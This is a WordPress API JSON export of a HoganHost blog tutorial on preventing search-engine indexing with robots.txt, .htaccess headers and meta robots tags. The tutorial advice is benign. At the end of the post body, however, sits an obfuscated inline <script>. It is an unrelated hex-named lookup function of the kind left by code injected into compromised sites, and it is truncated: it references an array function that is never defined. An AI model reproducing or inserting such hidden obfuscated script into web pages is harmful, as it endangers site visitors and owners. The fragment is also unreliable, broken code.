{"id":1498,"date":"2023-05-07T09:15:03","date_gmt":"2023-05-07T08:15:03","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=1498"},"modified":"2024-08-12T13:25:46","modified_gmt":"2024-08-12T12:25:46","slug":"how-to-prevent-url-indexing-by-robot-crawling","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/","title":{"rendered":"How To Prevent URL Indexing by Robot Crawling"},"content":{"rendered":"<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-1499\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling-300x300.jpg 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling-1024x1024.jpg 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling-150x150.jpg 150w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling-768x768.jpg 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg 1080w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search engines like Google, Yahoo, Bing, Yandex?<\/p>\n<p>In some cases, this will depend on the technology on your website. If you are using popular CMS like WordPress, Drupal, Joomla, etc. Your site might be indexed by search engines automatically.<\/p>\n<p>Sometimes, it is necessary to prevent certain pages on a site from being indexed by a search engine. There are several methods that can be done so that the website is not indexed by search engines.<\/p>\n<p>Here are some methods that can be used on the website:<\/p>\n<h2 id=\"using-robots-txt\">Using robots.txt<\/h2>\n<p>In your website root edit or create a file named\u00a0<strong>robots.txt\u00a0<\/strong>then write this code.<\/p>\n<div class=\"code-toolbar\">\n<pre class=\"language-markdown\" tabindex=\"0\"><code class=\"language-markdown\">User-agent: *\r\nDisallow: \/<\/code><\/pre>\n<\/div>\n<h2 id=\"using-htaccess\">Using .htaccess<\/h2>\n<p>Go to your\u00a0<strong>File Manager<\/strong>\u00a0through cPanel then go to your domain root. Edit or create file named\u00a0<strong>.htaccess\u00a0<\/strong>then write this code:<\/p>\n<div class=\"code-toolbar\">\n<pre class=\"language-markdown\" tabindex=\"0\"><code class=\"language-markdown\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;<\/span>IfModule <span class=\"token attr-name\">mod_headers.c<\/span><span class=\"token punctuation\">&gt;<\/span><\/span>\r\n \tHeader set X-Robots-Tag \"noindex, nofollow, noarchive\"\r\n \t<span class=\"token tag\"><span class=\"token punctuation\">&lt;<\/span>FilesMatch <span class=\"token attr-name\">\"\\.(doc|pdf|png|jpe?g|gif)$\"<\/span><span class=\"token punctuation\">&gt;<\/span><\/span>\r\n\t\tHeader set X-Robots-Tag \"noindex, noarchive, nosnippet\"\r\n\t<span class=\"token tag\"><span class=\"token punctuation\">&lt;\/<\/span>FilesMatch<span class=\"token punctuation\">&gt;<\/span><\/span>\r\n<span class=\"token tag\"><span class=\"token punctuation\">&lt;\/<\/span>IfModule<span class=\"token punctuation\">&gt;<\/span><\/span><\/code><\/pre>\n<\/div>\n<h2 id=\"using-meta-robot-tag\">Using meta robot tag<\/h2>\n<p>The other alternative you can use is by add meta robot tag inside the head tag.<\/p>\n<div class=\"code-toolbar\">\n<pre class=\"language-html\" tabindex=\"0\"><code class=\"language-html\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;<\/span>meta <span class=\"token attr-name\">name<\/span><span class=\"token attr-value\"><span class=\"token punctuation attr-equals\">=<\/span><span class=\"token punctuation\">\"<\/span>robots<span class=\"token punctuation\">\"<\/span><\/span> <span class=\"token attr-name\">content<\/span><span class=\"token attr-value\"><span class=\"token punctuation attr-equals\">=<\/span><span class=\"token punctuation\">\"<\/span>noindex,nofollow<span class=\"token punctuation\">\"<\/span><\/span><span class=\"token punctuation\">&gt;<\/span><\/span><\/code><\/pre>\n<div class=\"toolbar\">\n<div class=\"toolbar-item\">HTML<\/div>\n<\/div>\n<\/div>\n<hr \/>\n<p>Using those methods is very conditional.<\/p>\n<p>The\u00a0<code>.htaccess<\/code>\u00a0methods if very powerful to stop the robot from crawling the whole website. But if you need just for the specific page you can use manually adding a meta tag to the page.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Your website page has been published and can be accessed on the internet. But how do you know that your [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1499,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[29,51,9],"tags":[],"class_list":["post-1498","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htaccess","category-robot-crawling","category-wordpress"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How To Prevent URL Indexing by Robot Crawling - HoganHost blog<\/title>\n<meta name=\"description\" content=\"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How To Prevent URL Indexing by Robot Crawling - HoganHost blog\" \/>\n<meta property=\"og:description\" content=\"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-07T08:15:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:25:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1080\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How To Prevent URL Indexing by Robot Crawling\",\"datePublished\":\"2023-05-07T08:15:03+00:00\",\"dateModified\":\"2024-08-12T12:25:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\"},\"wordCount\":224,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg\",\"articleSection\":[\"htaccess\",\"Robot Crawling\",\"wordpress\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\",\"name\":\"How To Prevent URL Indexing by Robot Crawling - HoganHost blog\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg\",\"datePublished\":\"2023-05-07T08:15:03+00:00\",\"dateModified\":\"2024-08-12T12:25:46+00:00\",\"description\":\"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg\",\"width\":1080,\"height\":1080},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How To Prevent URL Indexing by Robot Crawling\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How To Prevent URL Indexing by Robot Crawling - HoganHost blog","description":"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/","og_locale":"en_US","og_type":"article","og_title":"How To Prevent URL Indexing by Robot Crawling - HoganHost blog","og_description":"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search","og_url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2023-05-07T08:15:03+00:00","article_modified_time":"2024-08-12T12:25:46+00:00","og_image":[{"width":1080,"height":1080,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg","type":"image\/jpeg"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How To Prevent URL Indexing by Robot Crawling","datePublished":"2023-05-07T08:15:03+00:00","dateModified":"2024-08-12T12:25:46+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/"},"wordCount":224,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg","articleSection":["htaccess","Robot Crawling","wordpress"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/","url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/","name":"How To Prevent URL Indexing by Robot Crawling - HoganHost blog","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg","datePublished":"2023-05-07T08:15:03+00:00","dateModified":"2024-08-12T12:25:46+00:00","description":"Your website page has been published and can be accessed on the internet. But how do you know that your website can be indexed on search","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/05\/How-To-Prevent-URL-Indexing-by-Robot-Crawling.jpg","width":1080,"height":1080},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-prevent-url-indexing-by-robot-crawling\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How To Prevent URL Indexing by Robot Crawling"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=1498"}],"version-history":[{"count":1,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1498\/revisions"}],"predecessor-version":[{"id":1500,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/1498\/revisions\/1500"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/1499"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=1498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=1498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=1498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}